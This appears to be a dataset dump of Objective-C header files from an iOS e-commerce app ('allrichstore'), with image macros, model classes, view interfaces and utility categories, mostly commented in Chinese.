repo_name stringlengths 5 122 | path stringlengths 3 232 | text stringlengths 6 1.05M |
|---|---|---|
754340156/NQ_quanfu | allrichstore/Other/Image.h | //
// Image.h
// FullRich
//
// Created by 任强宾 on 16/10/26.
// Copyright © 2016年 任强宾. All rights reserved.
//
#ifndef Image_h
#define Image_h
#pragma mark - 简写工具
/********************简写工具********************/
//简写Image
#define Image(imageName) [Single themeImageWithName:imageName]
#define ImageStr(imageName) [UIImage imageNamed:imageName]
#pragma mark - 工程配置
/********************工程配置********************/
//导航条 -- 左侧的返回按钮图标
#define Image_NaviBar_Left_Back Image(@"fanhuijian")
//系统消息的图片
#define Image_NaviBar_Right_SysMsg Image(@"systemMsg")
//轮播图的page图片
#define Image_CycleCurrentPageDotImage Image(@"lunbodian1")
#define Image_CyclePageDotImage Image(@"lunbodian2")
#define ImageUrlArray_Banner @[@"http://renqiangbin-app-image.oss-cn-shanghai.aliyuncs.com/appimages/Banner/banner1%402x.png", @"http://renqiangbin-app-image.oss-cn-shanghai.aliyuncs.com/appimages/Banner/banner2%402x.png", @"http://renqiangbin-app-image.oss-cn-shanghai.aliyuncs.com/appimages/Banner/banner3%402x.png", @"http://renqiangbin-app-image.oss-cn-shanghai.aliyuncs.com/appimages/Banner/banner4%402x.png"]
/********************占位图********************/
#define Image_PlaceHolder_Banner [UIImage imageNamed:@"PlaceHolder_3_1"] //banner占位图
#define Image_PlaceHolder_Photo ImageStr(@"photo_1") //头像的占位图
#define Image_PlaceHolder_ShopIcon Image(@"")
#define Image_PlaceHolder_Cell_1 [UIImage imageNamed:@"PlaceHolder_1_1"] //cell上的占位图
#define Image_PlaceHolder_GoodsListCell [UIImage imageNamed:@"PlaceHolder_GoodsListCell"] //cell上的占位图
#define Image_PlaceHolder_GoodsClass [UIImage imageNamed:@"PlaceHolder_GoodsListCell"]//三级分类的占位图
#endif /* Image_h */
|
754340156/NQ_quanfu | allrichstore/UI/Common/Main/M/GoodsModel.h | <filename>allrichstore/UI/Common/Main/M/GoodsModel.h
//
// GoodsModel.h
// allrichstore
//
// Created by 任强宾 on 16/12/12.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import "BaseModel.h"
@interface GoodsModel : BaseModel
//销量
@property (nonatomic, assign) long g_salenumber;
//付款人数
@property (nonatomic, assign) long g_paysum;
//商品id
@property (nonatomic, assign) long goodid;
//评论个数
@property (nonatomic, assign) long g_commentcount;
//商品名称
@property (nonatomic, copy) NSString *g_name;
//商品的图片地址
@property (nonatomic, copy) NSString *g_imgurl;
//地址
@property (nonatomic, copy) NSString *g_site;
//好评率
@property (nonatomic, copy) NSString *g_famerate;
//商品的价格
@property (nonatomic, assign) double g_price;
@end
|
754340156/NQ_quanfu | allrichstore/UI/Common/Shop/V/HotClassView.h | //
// HotClassView.h
// allrichstore
//
// Created by 任强宾 on 16/11/17.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface HotClassView : UIView
- (instancetype)initWithFrame:(CGRect)frame array:(NSArray *)array block:(StringBlock)block;
//展示
- (void)show;
@end
|
754340156/NQ_quanfu | allrichstore/Tools/CommonLibrary/Category/NSData+CRC.h | <gh_stars>1-10
//
// NSData+CRC.h
// CommonLibrary
//
// Created by Ken on 3/25/14.
// Copyright (c) 2014 Alexi. All rights reserved.
//
#if kSupportNSDataCommon
#import <Foundation/Foundation.h>
#define DEFAULT_POLYNOMIAL 0xEDB88320L
#define DEFAULT_SEED 0xFFFFFFFFL
@interface NSData (CRC)
-(uint8_t) crc8;
-(uint32_t) crc32;
-(uint32_t) crc32WithSeed:(uint32_t)seed;
-(uint32_t) crc32UsingPolynomial:(uint32_t)poly;
-(uint32_t) crc32WithSeed:(uint32_t)seed usingPolynomial:(uint32_t)poly;
@end
#endif |
754340156/NQ_quanfu | allrichstore/UI/Home/ShopsApply/Main/V/ShopsApplyCell.h | <reponame>754340156/NQ_quanfu
//
// ShopsApplyCell.h
// allrichstore
//
// Created by zhaozhe on 16/11/22.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import "BaseCollectionViewCell.h"
@interface ShopsApplyCell : BaseCollectionViewCell
/** icon */
@property(nonatomic,copy) NSString* icon;
/** title */
@property(nonatomic,copy) NSString * title;
@end
|
754340156/NQ_quanfu | allrichstore/Tools/NetWork/NetWork.h | <gh_stars>1-10
//
// NetWork.h
// LiveTest
//
// Created by 任强宾 on 16/8/16.
// Copyright © 2016年 NeiQuan. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <AFNetworking/AFNetworking.h>
@interface NetWork : NSObject
/**
* @param url 请求地址字符串
* @param parameters 请求参数
* @param success 请求成功的代码块
* @param fail 请求失败的代码块
*/
//单纯请求
+ (AFHTTPSessionManager *)POST_:(NSString *)url parameters:(NSDictionary *)parameters success:(void(^)(NSDictionary*dic))success fail:(void(^)(NSError*error))fail;
//耦合视图层的请求
+ (AFHTTPSessionManager *)POST:(NSString *)url parameters:(NSDictionary *)parameters success:(void(^)(NSDictionary*dic))success fail:(void(^)(NSError*error))fail sendView:(UIView *)sendView animSuperView:(UIView *)animSuperView animated:(BOOL)animated;
//启动网络监听(一般在程序启动的时候调用)
+ (void)startWorkReachability;
@end
|
754340156/NQ_quanfu | allrichstore/UI/Home/Location/V/AddressCell.h | //
// AddressCell.h
// LiveTest
//
// Created by 任强宾 on 16/8/25.
// Copyright © 2016年 NeiQuan. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface AddressCell : BaseTableViewCell
@end
|
754340156/NQ_quanfu | allrichstore/UI/Common/Shop/V/ShopHomeTopView.h | //
// ShopHomeTopView.h
// allrichstore
//
// Created by 任强宾 on 16/11/10.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import <UIKit/UIKit.h>
@protocol ShopHomeTopViewDelegate <NSObject>
@end
@interface ShopHomeTopView : UIView
@property (nonatomic, strong) UIImageView *shopIconImgView;
@property (nonatomic, strong) UILabel *shopNameLabel;
@property (nonatomic, strong) UILabel *shopScoreLabel;
@property (nonatomic, strong) QButton *collectShopBtn;
@property (nonatomic, assign) id<ShopHomeTopViewDelegate> delegate;
@end
|
754340156/NQ_quanfu | allrichstore/Tools/CommonLibrary/UIFramework/PageMenuScrollView.h | <filename>allrichstore/Tools/CommonLibrary/UIFramework/PageMenuScrollView.h
//
// ScrollPageView.h
// CommonLibrary
//
// Created by Alexi on 15/4/21.
// Copyright (c) 2015年 <NAME>. All rights reserved.
//
#if kSupportLibraryPage
#import <UIKit/UIKit.h>
#import "MenuAbleItem.h"
@class PageMenuScrollView;
@interface PageMenuItem : NSObject
{
@protected
id<MenuAbleItem> _menu;
UIView *_page;
}
- (instancetype)initWith:(id<MenuAbleItem>)menu page:(UIView *)page;
@end
@interface PageMenuScrollView : UIView<UIScrollViewDelegate>
{
NSArray *_menuPages;
UIScrollView *_menuScrollView;
NSMutableArray *_menuButtons;
UIView *_selectIndexView;
UIScrollView *_pageScrollView;
NSUInteger _selectedIndex;
BOOL _canScrollMenu;
}
- (instancetype)initWithPageMenus:(NSArray *)menuPages;
@end
#endif
|
754340156/NQ_quanfu | allrichstore/Tools/QBClass/QBViewClass/CustomCell/IconAndTitleCell.h | <filename>allrichstore/Tools/QBClass/QBViewClass/CustomCell/IconAndTitleCell.h
//
// IconAndTitleCell.h
// MeiYiQuan
//
// Created by 任强宾 on 16/10/5.
// Copyright © 2016年 任强宾. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface IconAndTitleCell : UITableViewCell
- (void)configCellIconName:(NSString *)iconName cellTitle:(NSString *)cellTitle showLine:(BOOL)isShowLine;
@end
|
754340156/NQ_quanfu | allrichstore/Other/Animation.h | <reponame>754340156/NQ_quanfu
//
// Animation.h
// FullRich
//
// Created by 任强宾 on 16/10/26.
// Copyright © 2016年 任强宾. All rights reserved.
//
#ifndef Animation_h
#define Animation_h
//tableView刷新的时候的动画
#define Animation_TableViewRow UITableViewRowAnimationNone
#endif /* Animation_h */
|
754340156/NQ_quanfu | allrichstore/UI/Home/Main/V/Home_HeaderCell_Cell.h | //
// Home_HeaderCell_Cell.h
// allrichstore
//
// Created by 任强宾 on 16/10/31.
// Copyright © 2016年 任强宾. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface Home_HeaderCell_Cell : BaseCollectionViewCell
@end
|
754340156/NQ_quanfu | allrichstore/UI/Register/C/RegisterVC.h | <gh_stars>1-10
//
// RegisterVC.h
// allrichstore
//
// Created by 任强宾 on 16/10/31.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import "ForgetPwVC.h"
@interface RegisterVC : ForgetPwVC
@end
|
754340156/NQ_quanfu | allrichstore/Tools/QBClass/QBClassHeader/QBHeader.h | <reponame>754340156/NQ_quanfu
//
// QBHeader.h
// PRJ_CreditRecruit
//
// Created by 任强宾 on 16/6/27.
// Copyright © 2016年 河南维创盈通科技有限公司. All rights reserved.
//
#ifndef QBHeader_h
#define QBHeader_h
#import "QBMacroHeader.h" //引入QB宏
#import "QBCategoryHeader.h" //引入所有的QB分类
#import "QBClassMethodHeader.h" //引入所有的类方法
#import "QBUIClassHeader.h" //引入所有的QBUI类
#import "QBViewHeader.h" //引入所有的QBView类
#endif /* QBHeader_h */
|
754340156/NQ_quanfu | allrichstore/Tools/CommonLibrary/Category/UIImage+ImageEffect.h | <reponame>754340156/NQ_quanfu
//
// UIImage+ImageEffect.h
// CommonLibrary
//
// Created by AlexiChen on 15/12/24.
// Copyright © 2015年 AlexiChen. All rights reserved.
//
#if kSupportUIImageImageEffect
#import <UIKit/UIKit.h>
@interface UIImage (ImageEffect)
- (UIImage *)applyLightEffect;
- (UIImage *)applyExtraLightEffect;
- (UIImage *)applyDarkEffect;
- (UIImage *)applyTintEffectWithColor:(UIColor *)tintColor;
- (UIImage *)blurWithRadius:(CGFloat)blurRadius tintColor:(UIColor *)tintColor deltaFactor:(CGFloat)deltaFactor maskImage:(UIImage *)maskImage;
@end
#endif
|
754340156/NQ_quanfu | allrichstore/UI/ShoppingCart/CreateOrder/V/CreateOrderBottomView.h | <reponame>754340156/NQ_quanfu
//
// CreateOrderBottomView.h
// allrichstore
//
// Created by zhaozhe on 16/11/16.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import <UIKit/UIKit.h>
@protocol CreateOrderBottomViewDelegate <NSObject>
/** 点击提交 */
- (void)CreateOrderBottomViewDelegate_clickSubmitBtn;
@end
@interface CreateOrderBottomView : UIView
/** 代理*/
@property (nonatomic,weak) id <CreateOrderBottomViewDelegate> delegate;
@end
|
754340156/NQ_quanfu | allrichstore/UI/Mine/Main/V/Mine_SubfieldCell.h | <gh_stars>1-10
//
// Mine_SubfieldCell.h
// allrichstore
//
// Created by zhaozhe on 16/11/7.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import "BaseTableViewCell.h"
@protocol Mine_SubfieldCellDelegate <NSObject>
/** 点击button */
- (void)Mine_SubfieldCellDelegate_clickButtonWithIndex:(NSInteger)index Button:(UIButton *)sender;
@end
@interface Mine_SubfieldCell : BaseTableViewCell
/** 代理*/
@property (nonatomic,weak) id <Mine_SubfieldCellDelegate> delegate;
@end
|
754340156/NQ_quanfu | allrichstore/UI/ShoppingCart/Main/V/ShoppingCartBottomView.h | //
// ShoppingCartBottomView.h
// allrichstore
//
// Created by zhaozhe on 16/11/15.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import <UIKit/UIKit.h>
#define kBottomViewH 50.0f
@protocol ShoppingCartBottomViewDelegate <NSObject>
/** 结算 */
- (void)ShoppingCartBottomViewDelegate_clickSettlementBtn;
/** 移入关注 */
- (void)ShoppingCartBottomViewDelegate_clickToCareBtn;
/** 删除 */
- (void)ShoppingCartBottomViewDelegate_clickDeleteButton;
@end
@interface ShoppingCartBottomView : UIView
/** 全选按钮 */
@property(nonatomic,strong) QButton * allButton;
/** 合计 */
@property(nonatomic,strong) UILabel * totalLabel;
/** 合计下面的副标题 */
@property(nonatomic,strong) UILabel * subTitleLabel;
/** 代理*/
@property (nonatomic,weak) id <ShoppingCartBottomViewDelegate> delegate;
/** 全选按钮block */
@property(nonatomic,copy) void (^clickAllButtonBlock)(QButton *sender);
/** 编辑状态 */
- (void)editStatus;
/** 正常状态 */
- (void)normalStatus;
@end
|
754340156/NQ_quanfu | allrichstore/Tools/QBClass/QBCategory/NSString++/NSString+QBJudge.h | //
// NSString+QBJudge.h
// PRJ_CreditRecruit
//
// Created by apple on 16/3/8.
// Copyright © 2016年 河南维创盈通科技有限公司. All rights reserved.
//
#import <Foundation/Foundation.h>
@interface NSString (QBJudge)
#pragma mark - 是否是正确的手机号格式?
- (BOOL)isMobileNumber;
#pragma mark - 是否是正确的电话号码(手机+固话)?
- (BOOL)isTelNumber;
#pragma mark - 是否是正确的邮箱格式?
- (BOOL)isEmailAddress;
#pragma mark - 是否是正确的身份证号格式?
- (BOOL)isPersonIDCardNumber;
#pragma mark - 是否是用户密码6-18位数字和字母组合?
- (BOOL)isPassword;
#pragma mark - 是否是正则匹配用户姓名,20位的中文或英文?
- (BOOL)isUserName;
#pragma mark - 是否是正确的昵称格式?
- (BOOL)isNickName;
#pragma mark - 是否是正确的URL字符串?
- (BOOL)isURL;
#pragma mark - 是否是正确格式的银行卡号?
- (BOOL)isBankNumber;
#pragma mark - 是否是只有字母和数字组成的字符串?
- (BOOL)isLetterNumberString;
#pragma mark - 是否包含中文?
- (BOOL)isChinese;
@end
|
754340156/NQ_quanfu | allrichstore/Tools/CommonLibrary/TipUtility/TipUtility.h | //
// TipUtility.h
// CommonLibrary
//
// Created by Alexi on 13-11-6.
// Copyright (c) 2013年 ywchen. All rights reserved.
//
#ifndef CommonLibrary_TipUtility_h
#define CommonLibrary_TipUtility_h
#import "MBProgressHUD.h"
//#import "HUDTipView.h"
#import "HUDHelper.h"
#define kServiceRequestTimeOut 30
#endif
|
754340156/NQ_quanfu | allrichstore/UI/Common/GoodDetail/Main/V/CustomNavigationBar.h | //
// CustomNavigationBar.h
// allrichstore
//
// Created by zhaozhe on 16/12/8.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import <UIKit/UIKit.h>
@protocol CustomNavigationBarDelegate <NSObject>
/** 返回 */
- (void)CustomNavigationBar_back;
/** 分享 */
- (void)CustomNavigationBar_share;
/** 购物车 */
- (void)CustomNavigationBar_cart;
@end
@interface CustomNavigationBar : UIView
/** 代理*/
@property (nonatomic,weak) id <CustomNavigationBarDelegate> delegate;
/** 下面的线 */
@property(nonatomic,strong) UIView * lineView;
/** 设置隐藏状态下的图片 */
- (void)setHiddenStatusButtonImage;
/** 设置显示状态下的图片 */
- (void)setShowStatusButtonImageWithAlpha:(CGFloat)alpha;
@end
|
754340156/NQ_quanfu | allrichstore/Tools/QBClass/QBUIClass/ImageView.h | <filename>allrichstore/Tools/QBClass/QBUIClass/ImageView.h
//
// ImageView.h
// PRJ_CreditRecruit
//
// Created by apple on 16/2/29.
// Copyright © 2016年 河南维创盈通科技有限公司. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface ImageView : UIImageView
@end
|
754340156/NQ_quanfu | allrichstore/UI/Mine/Main/V/Mine_OrderCell.h | <reponame>754340156/NQ_quanfu<gh_stars>1-10
//
// Mine_OrderCell.h
// allrichstore
//
// Created by zhaozhe on 16/11/7.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import "BaseTableViewCell.h"
@interface Mine_OrderCell : BaseTableViewCell
/** titleName */
@property(nonatomic,copy) NSString * titleName;
/** attestationName */
@property(nonatomic,copy) NSString * attestationName;
@end
|
754340156/NQ_quanfu | allrichstore/UI/Common/GoodDetail/Main/V/firstView/GoodsDetailStoreView.h | <gh_stars>1-10
//
// GoodsDetailStoreView.h
// allrichstore
//
// Created by zhaozhe on 16/11/1.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import <UIKit/UIKit.h>
@class GoodsDetailModel;
@protocol GoodsDetailStoreViewDelegate <NSObject>
///** 点击整体 */
//- (void)GoodsDetailStoreViewDelegate_clickView:(UIView *)storeView;
//
///** 点击进入按钮 */
//- (void)GoodsDetailStoreViewDelegate_clickIntoButton:(UIButton *)intoButton;
@end
@interface GoodsDetailStoreView : UIView
/** model */
@property(nonatomic,strong) GoodsDetailModel * model;
/** 代理*/
//@property (nonatomic,weak) id <GoodsDetailStoreViewDelegate> delegate;
@end
|
754340156/NQ_quanfu | allrichstore/Tools/QBClass/QBCategory/UIView++/UIView+qbLayer.h | //
// UIView+qbLayer.h
// allrichstore
//
// Created by 任强宾 on 16/12/16.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import <UIKit/UIKit.h>
typedef NS_ENUM(NSInteger, CornerSide) {
CornerSideTop = 0,
CornerSideLeft = 1,
CornerSideBottom = 2,
CornerSideRight = 3,
CornerSideTopLeft = 4,
CornerSideTopRight = 5,
CornerSideBottomLeft = 6,
CornerSideBottomRight = 7,
CornerSideAll = 8
};
@interface UIView (qbLayer)
- (void)roundSide:(CornerSide)side
size:(CGSize)size
borderColor:(UIColor *)color
borderWidth:(CGFloat)width;
@end
|
754340156/NQ_quanfu | allrichstore/Tools/CommonLibrary/Animation/ADTransition/Scale/UITableViewController+ADScaleTransition.h | <filename>allrichstore/Tools/CommonLibrary/Animation/ADTransition/Scale/UITableViewController+ADScaleTransition.h
//
// UITableViewController+ADScaleTransititon.h
// CommonLibrary
//
// Created by James on 3/7/14.
// Copyright (c) 2014 CommonLibrary. All rights reserved.
//
#if kSupportADTransition
#import <UIKit/UIKit.h>
@interface UITableViewController (ADScaleTransition)
/**
* Present a view controller modally from the current view controller using a
* scale animation, beginning from a UITableViewCell.
* @param destinationViewController The view controller to present
* @param indexPath The location of the cell to scale from.
* @param completion A block to run on completion. Can be NULL.
*/
- (void)scaleToViewController:(UIViewController *)destinationViewController fromItemAtIndexPath:(NSIndexPath *)indexPath withCompletion:(void (^)(void))completion;
/**
* Present a view controller modally from the current view controller using a
* scale animation, beginning from a UITableViewCell.
* @param destinationViewController The view controller to present
* @param indexPath The location of the cell to scale from.
* @param sourceSnapshot The placeholder image for the source view. Specifying
* nil will take a snapshot just before the animation.
* @param destinationSnapshot The placeholder image for the destination view.
* Specifying nil will take a snapshot just before the animation.
* @param completion A block to run on completion. Can be NULL.
*/
- (void)scaleToViewController:(UIViewController *)destinationViewController fromItemAtIndexPath:(NSIndexPath *)indexPath withSourceSnapshotImage:(UIImage *)sourceSnapshot andDestinationSnapshot:(UIImage *)destinationSnapshot withCompletion:(void (^)(void))completion;
/**
* Present a view controller modally from the current view controller using a
* scale animation, beginning from a UITableViewCell.
* @param destinationViewController The view controller to present
* @param indexPath The location of the cell to scale from.
* @param destinationSize The size for the destination view controller to take
* up on the screen.
* @param completion A block to run on completion. Can be NULL.
*/
- (void)scaleToViewController:(UIViewController *)destinationViewController fromItemAtIndexPath:(NSIndexPath *)indexPath asChildWithSize:(CGSize)destinationSize withCompletion:(void (^)(void))completion;
/**
* Present a view controller modally from the current view controller using a
* scale animation, beginning from a UITableViewCell.
* @param destinationViewController The view controller to present
* @param indexPath The location of the cell to scale from.
* @param destinationSize The size for the destination view controller to take
* up on the screen.
* @param sourceSnapshot The placeholder image for the source view. Specifying
* nil will take a snapshot just before the animation.
* @param destinationSnapshot The placeholder image for the destination view.
* Specifying nil will take a snapshot just before the animation.
* @param completion A block to run on completion. Can be NULL.
*/
- (void)scaleToViewController:(UIViewController *)destinationViewController fromItemAtIndexPath:(NSIndexPath *)indexPath asChildWithSize:(CGSize)destinationSize withSourceSnapshotImage:(UIImage *)sourceSnapshot andDestinationSnapshot:(UIImage *)destinationSnapshot withCompletion:(void (^)(void))completion;
@end
#endif |
754340156/NQ_quanfu | allrichstore/Tools/QBClass/QBCategory/NSObject++/NSObject+extend.h | <filename>allrichstore/Tools/QBClass/QBCategory/NSObject++/NSObject+extend.h
//
// NSObject+extend.h
// MeiYiQuan
//
// Created by 任强宾 on 16/10/18.
// Copyright © 2016年 任强宾. All rights reserved.
//
#import <Foundation/Foundation.h>
/***************block定义***************/
//不带参数的block
typedef void(^EmptyBlock)();
//带一个NSString参数的block
typedef void(^StringBlock)(NSString *string);
//带一个NSArray参数的block
typedef void(^ArrayBlock)(NSArray *array);
//带一个id参数的block
typedef void(^ObjectBlock)(id object);
/***************通用枚举*****************/
//触发事件的类型
typedef NS_ENUM(NSUInteger, ActionType)
{
ActionTypeDefault = 0,
ActionTypeEdit,
ActionTypeDelete,
ActionTypeSelect
};
//级别的类型
typedef NS_ENUM(NSUInteger, LevelType)
{
LevelTypeOne = 0,
LevelTypeTwo,
LevelTypeThree,
};
@interface NSObject (extend)
- (NSString *)className;
+ (NSString *)className;
@end
|
754340156/NQ_quanfu | allrichstore/UI/Common/GoodList/GoodsFilterView/M/GoodsFilterModel.h | //
// GoodsFilterModel.h
// allrichstore
//
// Created by 任强宾 on 16/11/17.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import <Foundation/Foundation.h>
#import "GoodsFilterView.h"
@class GoodsPropertyModel;
@interface GoodsFilterModel : NSObject<GoodsFilterAble>
@property (nonatomic, assign) CGFloat minPrice;
@property (nonatomic, assign) CGFloat maxPrice;
@property (nonatomic, strong) NSArray <id<GoodsPropertyAble>> *properArray;
@end
@interface GoodsPropertyModel : NSObject<GoodsPropertyAble>
@property (nonatomic, assign) BOOL isOpen;
@property (nonatomic, copy) NSString *properName;
@property (nonatomic, strong) NSArray *tagArray;
@property (nonatomic, strong) NSMutableArray *selectedTagArray;
@end
|
754340156/NQ_quanfu | allrichstore/UI/Home/Location/C/LocationVC.h | //
// LocationVC.h
// allrichstore
//
// Created by 任强宾 on 16/11/7.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import "BaseVC.h"
@class HomeVC;
//定位控制器
@interface LocationVC : BaseVC
@property (nonatomic, strong) HomeVC *homeVC;
@end
|
754340156/NQ_quanfu | allrichstore/Tools/CommonLibrary/UIView+InitMethod/UILabel+InitMethod.h | <reponame>754340156/NQ_quanfu
//
// UILabel+InitMethod.h
// CommonLibrary
//
// Created by Alexi on 14-7-21.
// Copyright (c) 2014年 <NAME>. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface UILabel (InitMethod)
+ (instancetype)labelWith:(NSString *)text;
+ (instancetype)labelWith:(NSString *)text textColor:(UIColor *)color;
+ (instancetype)labelWith:(NSString *)text textColor:(UIColor *)color backgroundColor:(UIColor *)bgColor;
+ (instancetype)centerlabelWith:(NSString *)text;
+ (instancetype)labelWith:(NSString *)text font:(CGFloat)size;
+ (instancetype)labelWith:(NSString *)text font:(CGFloat)size textColor:(UIColor *)textColor;
+ (instancetype)labelWith:(NSString *)text boldFont:(CGFloat)size;
+ (instancetype)centerlabelWith:(NSString *)text font:(CGFloat)size;
+ (instancetype)centerlabelWith:(NSString *)text font:(CGFloat)size textColor:(UIColor *)textColor;
+ (instancetype)centerlabelWith:(NSString *)text boldFont:(CGFloat)size;
@end
|
754340156/NQ_quanfu | allrichstore/Tools/QBClass/QBUIClass/View.h | <gh_stars>1-10
//
// View.h
// PRJ_CreditRecruit
//
// Created by apple on 16/2/29.
// Copyright © 2016年 河南维创盈通科技有限公司. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface View : UIView
//设置边框(可设置参数:宽度,颜色)
- (void)setRimWithBorderWidth:(CGFloat)borderWidth
borderColor:(UIColor *)borderColor;
@end
|
754340156/NQ_quanfu | allrichstore/UI/Home/Main/M/ActivityListModel.h | //
// ActivityListModel.h
// allrichstore
//
// Created by 任强宾 on 16/12/16.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import "BaseModel.h"
@class ActivitySubModel;
@interface ActivityListModel : BaseModel
@property (nonatomic, copy) NSString *aid;
@property (nonatomic, copy) NSString *am_name;
@property (nonatomic, strong) NSArray<ActivitySubModel *> *categroylist;
@end
@interface ActivitySubModel: BaseModel
@property (nonatomic, copy) NSString *cid;
@property (nonatomic, copy) NSString *c_img_url;
@property (nonatomic, copy) NSString *c_name;
@end
|
754340156/NQ_quanfu | allrichstore/UI/Mine/Main/C/MineVC.h | //
// MineVC.h
// allrichstore
//
// Created by 任强宾 on 16/10/27.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import "BaseVC.h"
@interface MineVC : BaseVC
@end
|
754340156/NQ_quanfu | allrichstore/UI/Common/GoodDetail/Main/V/secondView/GD_SecondTableView.h | //
// GD_SecondTableView.h
// allrichstore
//
// Created by zhaozhe on 16/11/17.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface GD_SecondTableView : UITableView
@end
|
754340156/NQ_quanfu | allrichstore/UI/Common/GoodList/V/GoodsOneListSecondStyleCell.h | //
// GoodsOneListSecondStyleCell.h
// allrichstore
//
// Created by 任强宾 on 16/11/9.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import "GoodsOneListFirstStyleCell.h"
@interface GoodsOneListSecondStyleCell : GoodsOneListFirstStyleCell
@end
|
754340156/NQ_quanfu | allrichstore/Base/V/BaseCollectionViewCell.h | <filename>allrichstore/Base/V/BaseCollectionViewCell.h
//
// BaseCollectionViewCell.h
// MeiYiQuan
//
// Created by 任强宾 on 16/10/21.
// Copyright © 2016年 任强宾. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface BaseCollectionViewCell : UICollectionViewCell
{
UIView *_bgView; //用于作为背景图
UIButton *_imgBtn; //展示图标的btn
UIImageView *_imgView; //展示图片的imageView
UILabel *_titleLabel; //展示标题的label
UILabel *_contentLabel; //展示内容的label
UILabel *_timeLabel; //展示时间的label
BOOL _isHaveSeleBgView; //是否有选中背景色
UIColor *_seleBgColor; //选中背景色的颜色
BOOL _isHaveHighlightColor; //是否有高亮背景色
UIColor *_highlightBgColor; //高亮时的背景颜色
}
@property (nonatomic, strong) UIView *bgView;
@property (nonatomic, strong) UIButton *imgBtn;
@property (nonatomic, strong) UIImageView *imgView;
@property (nonatomic, strong) UILabel *titleLabel;
@property (nonatomic, strong) UILabel *contentLabel;
@property (nonatomic, strong) UILabel *timeLabel;
@property (nonatomic, assign) BOOL isHaveSeleBgView;
@property (nonatomic, strong) UIColor *seleBgColor;
@property (nonatomic, assign) BOOL isHaveHighlightColor;
@property (nonatomic, strong) UIColor *highlightBgColor;
- (void)createViews;
- (void)layoutViews;
+ (CGFloat)cellHeight;
@end
|
754340156/NQ_quanfu | allrichstore/Tools/QBClass/QBClassMethod/QBComputeManger.h | <reponame>754340156/NQ_quanfu
//
// QBComputeManger.h
// RQBClass
//
// Created by apple on 15/1/12.
// Copyright © 2015年 任强宾. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface QBComputeManger : NSObject
#pragma mark - 根据字符串及其属性 --> 获取字符串宽高
//通过字符串及其属性获取字符串的宽度
+ (CGFloat)getWidthByString:(NSString *)string
Attributes:(NSDictionary *)Attributes;
//通过字符串及其属性获取字符串的高度
+ (CGFloat)getHeightByString:(NSString *)string
Attributes:(NSDictionary *)Attributes;
//获取字符串的宽度
+ (CGFloat)widthForString:(NSString *)text fontSize:(CGFloat)fontSize andHeight:(CGFloat)height;
//通过label求出label自适应需要的高度
+ (CGFloat)getAutoHeightForLabel:(UILabel *)label
withWidth:(CGFloat)width;
//通过string和字体大小求出text自适应需要的高度
+ (CGFloat)getAutoHeightForString:(NSString *)String
withWidth:(CGFloat)width
withFontSize:(CGFloat)fontSize;
@end
|
754340156/NQ_quanfu | allrichstore/Tools/QBClass/QBCategory/UIButton++/UIButton+qbExtension.h | //
// UIButton+qbExtension.h
// allrichstore
//
// Created by 任强宾 on 16/11/27.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface UIButton (qbExtension)
- (void)setBackgroundColor:(UIColor *)backgroundColor forState:(UIControlState)state;
@end
|
754340156/NQ_quanfu | allrichstore/Tools/QBClass/QBUIClass/TextView.h | <gh_stars>1-10
//
// TextView.h
// PRJ_CreditRecruit
//
// Created by apple on 16/2/29.
// Copyright © 2016年 河南维创盈通科技有限公司. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface TextView : UITextView
@end
|
754340156/NQ_quanfu | allrichstore/Tools/Tools.h | <filename>allrichstore/Tools/Tools.h<gh_stars>1-10
//
// Tools.h
// YunSuLive
//
// Created by hai on 16/6/23.
// Copyright © 2016年 22. All rights reserved.
//
#import <UIKit/UIKit.h>
//第三方登录的类型
typedef NS_ENUM(NSInteger, ThirdLoginType)
{
ThirdLoginTypeQQ,
ThirdLoginTypeWeChat
};
typedef void(^ImageBlock)(UIImage *image);
typedef void(^ItemAction)(NSUInteger itemIndex);
@interface Tools : NSObject
/**
* AlertView(自定义按钮)
*
* @param title 标题
* @param message 消息
* @param items 按钮标题数组
* @param controller 要展示的目的控制器
* @param ItemAction 按钮回调(通过index区分)
*/
+ (void)showAlertWithTitle:(NSString *)title message:(NSString *)message items:(NSArray *)items atController:(UIViewController *)controller action:(ItemAction)ItemAction;
/**
* ActionSheet
*
* @param title 标题
* @param message 消息
* @param items 按钮标题数组
* @param controller 要展示的目的控制器
* @param action 按钮回调(通过index区分)
*/
+ (void)showActionSheetWithTitle:(NSString *)title message:(NSString *)message items:(NSArray *)items atController:(UIViewController *)controller action:(ItemAction)action;
/**
* 按钮倒计时
*
* @param btn 要进行倒计时的按钮
* @param second 倒计时秒数
* @param title 初始标题
* @param timingTitle 倒计时标题(x秒...)
*/
+ (void)countdownButton:(UIButton *)btn timeout:(int)second originalTitle:(NSString *)title timingTitle:(NSString *)timingTitle;
/**
* 图片选择器(单选)
*
* @param VC 当前视图控制器
* @param block 选中图片之后的回调
*/
+ (void)imagePickerAtController:(UIViewController *)VC image:(ImageBlock)block;
// 手机号码
+ (BOOL)validateMobile:(NSString *)mobile;
//姓名验证
+ (BOOL)validateName:(NSString* )name;
//身份证
